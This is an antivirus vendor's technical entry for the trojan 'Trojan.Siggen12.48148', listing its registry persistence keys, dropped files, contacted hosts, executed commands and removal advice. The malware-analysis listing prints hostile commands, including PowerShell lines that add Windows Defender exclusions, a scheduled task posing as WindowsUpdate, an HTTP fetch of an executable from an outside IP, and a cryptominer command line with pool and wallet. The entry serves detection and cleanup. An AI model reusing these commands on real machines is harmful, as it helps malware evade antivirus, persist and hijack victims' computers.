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Trojan.Siggen12.48148
Added to the Dr.Web virus database:
2021-03-21
Virus description added:
2021-03-22
Technical Information
To ensure autorun and distribution
Modifies the following registry keys
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'vRHLxWbzCvSEfApowhcr' = '%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'Onedrive' = '%ALLUSERSPROFILE%\Onedrive\Onedrive.exe'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Hosting.exe' = '%APPDATA%\Hosting.exe'
Creates or modifies the following files
%APPDATA%\microsoft\windows\start menu\programs\startup\vrhlxwbzcvsefapowhcr.exe
<SYSTEM32>\tasks\firefox default browser agent 9e84c37f70edbb46
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
blocks the following features:
User Account Control (UAC)
adds antivirus exclusion with following registry keys:
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '<Full path to file>' = '00000000'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe' = '00000000'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe' = '00000000'
Injects code into
the following system processes:
the following user processes:
Modifies file system
Creates the following files
%LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<File name>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\efkrwmk2.newcfg
%TEMP%\768c.exe
%TEMP%\738f.exe
%APPDATA%\hosting.exe
%TEMP%\7072.exe
%TEMP%\6df1.exe
%TEMP%\68d2.exe
%ALLUSERSPROFILE%\onedrive\onedrive.exe
%TEMP%\4451.exe
%ALLUSERSPROFILE%\cspulfhxwc\cfg
%TEMP%\f5a4.tmp-shm
%ALLUSERSPROFILE%\cspulfhxwc\cfgi
%APPDATA%\jvietdh
%APPDATA%\fjrvbbw
%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat
%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe
%LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\a31nsva1.newcfg
%TEMP%\d8e6.tmp
%WINDIR%\microsoft.net\framework\nzixvddxusp\svchost.exe
%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat
%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe
%TEMP%\3b7a.exe
%TEMP%\2ad.tmp-shm
Sets the 'hidden' attribute to the following files
%APPDATA%\fjrvbbw
%APPDATA%\jvietdh
%ALLUSERSPROFILE%\onedrive\onedrive.exe
Deletes the following files
%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe
%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat
%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe
%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat
%WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe
%TEMP%\f5a4.tmp-shm
%TEMP%\2ad.tmp-shm
Moves the following files
from %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<File name>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\efkrwmk2.newcfg to %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\<File name>.exe_url_wenp1xde4ov1ckb5zgsiciyxkunvjbzm\3.42.547.200\user.config
from %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\a31nsva1.newcfg to %LOCALAPPDATA%\耞耢耙耔耑耤聇耏耷耲耰耟耱聅耿耘耜聀耟耸耔聃耾耑耽\vrhlxwbzcvsefapowhcr.exe_url_5fliax5psvuawemwwx0h4z1m2ruvvtfh\3.42.547.200\user.config
Network activity
Connects to
'microsoft.com':80
'li######lsupporters9.com':80
'gr###co2020.top':80
'17#.#3.140.185':80
'cd#.##scordapp.com':443
'gr#####deteam.ddns.net':20000
TCP
HTTP GET requests
http://li######lsupporters9.com/liverpool-fc-news/features/steven-gerrard-liverpool-future-dalglish--goal-7E7211BBED702BE11C5FAFC4ECE66D5E.html
http://17#.#3.140.185/25%25.exe
HTTP POST requests
'cd#.##scordapp.com':443
'gr#####deteam.ddns.net':20000
UDP
DNS ASK microsoft.com
DNS ASK li######lsupporters9.com
DNS ASK gr###co2020.top
DNS ASK cd#.##scordapp.com
DNS ASK gr#####deteam.ddns.net
Miscellaneous
Creates and executes the following
'%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /EXEFilename "%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
'%ALLUSERSPROFILE%\onedrive\onedrive.exe'
'%TEMP%\768c.exe'
'%TEMP%\738f.exe'
'%TEMP%\7072.exe'
'%TEMP%\68d2.exe'
'%ALLUSERSPROFILE%\onedrive\onedrive.exe' 556
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force
'%TEMP%\6df1.exe'
'%TEMP%\3b7a.exe'
'%APPDATA%\hosting.exe'
'%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /EXEFilename "%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
'%APPDATA%\microsoft\windows\start menu\programs\startup\vrhlxwbzcvsefapowhcr.exe'
'%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /SpecialRun 4101d8 2084
'%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /SpecialRun 4101d8 636
'%TEMP%\4451.exe'
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<Full path to file>" -Force' (with hidden window)
'%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\advancedrun.exe' /EXEFilename "%TEMP%\38864235-a3d1-43a1-9a07-e78e1b3b3169\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (with hidden window)
'%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\advancedrun.exe' /EXEFilename "%TEMP%\b060db2e-d34b-4a55-97b2-96bed80059b9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /c timeout 1' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force' (with hidden window)
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe" -Force' (with hidden window)
'<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn WindowsUpdate /tr %TEMP%\System.exe' (with hidden window)
Executes the following
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "<Full path to file>" -Force
'%WINDIR%\syswow64\cmd.exe' /S /D /c" del /F %TEMP%\A0B9.exe"
'%WINDIR%\syswow64\cmd.exe' /S /D /c" echo j "
'<SYSTEM32>\schtasks.exe' /create /sc minute /mo 1 /tn WindowsUpdate /tr %TEMP%\System.exe
'%WINDIR%\syswow64\ping.exe' 127.0.0.1
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\syswow64\cmd.exe' /S /D /c" del deleteMyProgram.bat"
'%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\melt.bat" "
'%WINDIR%\syswow64\cmd.exe' /C WScript "%ALLUSERSPROFILE%\cSPUlFhxwc\r.vbs"
'%WINDIR%\microsoft.net\framework\v4.0.30319\regsvcs.exe'
'%WINDIR%\syswow64\timeout.exe' 1
'%WINDIR%\syswow64\cmd.exe' /c timeout 1
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%WINDIR%\Microsoft.NET\Framework\NZIXvDdxusP\svchost.exe" -Force
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\vRHLxWbzCvSEfApowhcr.exe" -Force
'%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\cSPUlFhxwc\r.vbs"
'<SYSTEM32>\svchost.exe' -B --donate-level=1 -a RandomX --url=179.43.140.174:3333 -u 45xUdHPiFHQ7xbKh19G45saF1raB2ot5pag8p1Hnk4yrfXRJZskr8TMbFpVfC5tDk8eQQg63TqkW9gKhwagx6HePTaK2yXb -p -R --variant=-1 --max-cpu-usage=2...
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
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